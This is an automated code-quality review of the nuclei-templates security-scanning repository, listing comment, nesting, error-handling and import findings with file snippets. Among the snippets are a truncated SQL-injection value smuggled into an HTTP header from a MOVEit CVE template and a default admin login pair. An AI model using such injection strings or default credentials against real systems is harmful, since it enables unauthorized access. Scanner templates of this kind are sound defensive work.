MEDIUM	profiles/privilege-escalation.yml	9	# This configuration references specific templates tagged with 'privesc' and 'local' to cover comprehensive detection of	COMMENT
MEDIUM	profiles/ai.yml	8	# This profile enables comprehensive security testing of AI ecosystems, covering: LLM Application Security, AI Infrastru	COMMENT
MEDIUM	profiles/alibaba-cloud-config.yml	9	# This configuration references specific templates tagged with 'alibaba-cloud-config' to cover comprehensive scanning of	COMMENT
MEDIUM	profiles/all.yml	3	# This configuration file is specifically tailored for performing comprehensive scans using Nuclei, All the avaliable te	COMMENT
MEDIUM	profiles/aws-cloud-config.yml	9	# This configuration references specific templates tagged with 'aws-cloud-config' to cover comprehensive scanning of AWS	COMMENT
MEDIUM	profiles/compliance.yml	6	# This profile is focused on identifying a wide range of security issues to ensure compliance with various security stan	COMMENT
MEDIUM	profiles/azure-cloud-config.yml	9	# This configuration references specific templates tagged with 'azure-cloud-config' to cover comprehensive scanning of A	COMMENT
MEDIUM	profiles/gcp-cloud-config.yml	8	# This configuration references specific templates tagged with 'gcp-cloud-config' to cover comprehensive scanning of Azu	COMMENT

Redundant / Tautological Comments16 hits · 24 pts

Severity	File	Line	Snippet	Context
LOW	code/linux/audit/ssh-gssapiauthentication-disabled.yaml	39	# Check if the value is explicitly set to 'no'	COMMENT
LOW	code/linux/audit/nis-client.yaml	27	# Check if the nis package is installed	COMMENT
LOW	code/linux/audit/rsh-client.yaml	26	# Check if the rsh-client package is installed	COMMENT
LOW	code/linux/audit/ftp-client.yaml	27	# Check if ftp or tnftp packages are installed	COMMENT
LOW	code/linux/audit/talk-client.yaml	26	# Check if the talk package is installed	COMMENT
LOW	code/linux/audit/telnet-client.yaml	27	# Check if telnet or inetutils-telnet package is installed	COMMENT
LOW	code/linux/audit/ldap-client.yaml	27	# Check if the ldap-utils package is installed	COMMENT
LOW	code/linux/audit/ssh-hostbasedauth-disabled.yaml	28	# Check if the parameter is set to yes (bad)	COMMENT
LOW	code/windows/audit/kisa/rds-removal-check.yaml	43	# Check if IIS (W3SVC) service is present; if not, IIS is not used and RDS is implicitly compliant.	COMMENT
LOW	code/windows/audit/kisa/unnecessary-accounts-check.yaml	44	# Output results	COMMENT
LOW	code/windows/audit/kisa/remote-system-shutdown.yaml	38	# Check if only the Administrators SID (S-1-5-32-544) is present.	COMMENT
LOW	code/cves/2025/CVE-2025-54309.yaml	162	# Check if either response contains the user list pattern	COMMENT
LOW	code/cves/2026/CVE-2026-31431.yaml	76	# Check if algif_aead module is loaded or built-in (required attack surface)	COMMENT
LOW	.github/auto_assign.yml	13	# Set 0 to add all the reviewers (default: 0)	COMMENT
LOW	.github/scripts/update-kev.py	153	# Check if we've reached the last page	COMMENT
LOW	.github/scripts/update-epss.py	149	# Check if update is needed	COMMENT

Self-Referential Comments5 hits · 13 pts

Severity	File	Line	Snippet	Context
MEDIUM	…windows/audit/kisa/ftp-directory-permission-check.yaml	32	# Define the FTP home directory path (adjust if necessary)	COMMENT
MEDIUM	code/cves/2014/CVE-2014-0160.yaml	119	# Create a socket connection	STRING
MEDIUM	code/cves/2024/CVE-2024-45409.yaml	77	# Create a deep copy of the assertion for digest calculation	COMMENT
MEDIUM	code/cves/2024/CVE-2024-9487.yaml	90	# Create a random AES key for encrypting the data	COMMENT
MEDIUM	http/cves/2024/CVE-2024-45488.yaml	241	# Create the HMAC (sign) over the entire blob except for the sign field	COMMENT

Fake / Example Data12 hits · 12 pts

Severity	File	Line	Snippet	Context
LOW	code/cves/2025/CVE-2025-25291.yaml	54	username='admin@example.com'	CODE
LOW	code/cves/2024/CVE-2024-45409.yaml	48	username='admin@example.com'	CODE
LOW	http/token-spray/api-mailboxvalidator.yaml	26	- '"email_address":"test@test.com"'	CODE
LOW	…lt-logins/nginx/nginx-proxy-manager-default-login.yaml	22	{"identity": "admin@example.com","secret": "changeme"}	CODE
LOW	http/cves/2025/CVE-2025-11750.yaml	27	fake_email: "{{to_lower(rand_text_alphanumeric(16))}}@{{to_lower(rand_text_alphanumeric(16))}}.com"	CODE
LOW	http/cves/2025/CVE-2025-11750.yaml	55	{"email":"{{fake_email}}","password":"{{fake_password}}","language":"en-EN","remember_me":true}	CODE
LOW	http/cves/2024/CVE-2024-8698.yaml	51	username = b'admin@example.com'	CODE
LOW	http/cves/2023/CVE-2023-34362.yaml	77	X-siLock-SessVar1: MyPkgSelfProvisionedRecips: SQL Injection'); INSERT INTO activesessions (SessionID) values ('	CODE
LOW	http/cves/2026/CVE-2026-58138.yaml	47	{"name": "{{wfname}}", "version": 1, "schemaVersion": 2, "ownerEmail": "test@test.com", "tasks": [{"name": "n",	CODE
LOW	http/cves/2021/CVE-2021-20158.yaml	43	ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&metho	CODE
LOW	http/cves/2020/CVE-2020-10204.yaml	53	{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName"	CODE
LOW	helpers/wordlists/params.txt	24432	fake_data	CODE

Empty Error Handlers2 hits · 10 pts

Severity	File	Line	Snippet	Context
HIGH	.github/scripts/check-signing-key.py	56	except (OSError, subprocess.CalledProcessError):	CODE
HIGH	.github/scripts/enhance-cve-fields.py	32	except:	CODE

Deep Nesting8 hits · 8 pts

Severity	File	Line	Context
LOW	.github/scripts/update-kev.py	72	CODE
LOW	.github/scripts/update-kev.py	107	CODE
LOW	.github/scripts/update-kev.py	247	CODE
LOW	.github/scripts/count-kev-stats.py	34	CODE
LOW	.github/scripts/enhance-cve-fields.py	36	CODE
LOW	.github/scripts/assign_tasks.py	76	CODE
LOW	.github/scripts/update-epss.py	70	CODE
LOW	.github/scripts/update-epss.py	200	CODE

Hyper-Verbose Identifiers6 hits · 7 pts

Severity	File	Line	Snippet	Context
LOW	code/cves/2022/CVE-2022-42475.yaml	169	def post_exploit_connectivity_check(self):	CODE
LOW⚡	code/cves/2025/CVE-2025-54309.yaml	113	def check_vulnerable_response(response_text):	CODE
LOW⚡	code/cves/2025/CVE-2025-54309.yaml	123	def race_requests_with_detection(target_url, num_requests=100):	CODE
LOW	code/cves/2024/CVE-2024-55556.yaml	60	def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode):	CODE
LOW	code/cves/2026/CVE-2026-20182.yaml	117	def generate_self_signed_cert():	CODE
LOW	.github/scripts/assign_tasks.py	39	def get_pr_assignee_and_reviewer(pull_request_number):	CODE

Unused Imports6 hits · 6 pts

Severity	File	Line	Context
LOW	.github/scripts/wordpress-plugins-update.py	23	CODE
LOW	.github/scripts/update-kev.py	19	CODE
LOW	.github/scripts/update-kev.py	19	CODE
LOW	.github/scripts/count-kev-stats.py	12	CODE
LOW	.github/scripts/update-readme.py	4	CODE
LOW	.github/scripts/update-epss.py	19	CODE

projectdiscovery/nuclei-templates

Open-Source Code Quality, Security and Technical Debt Review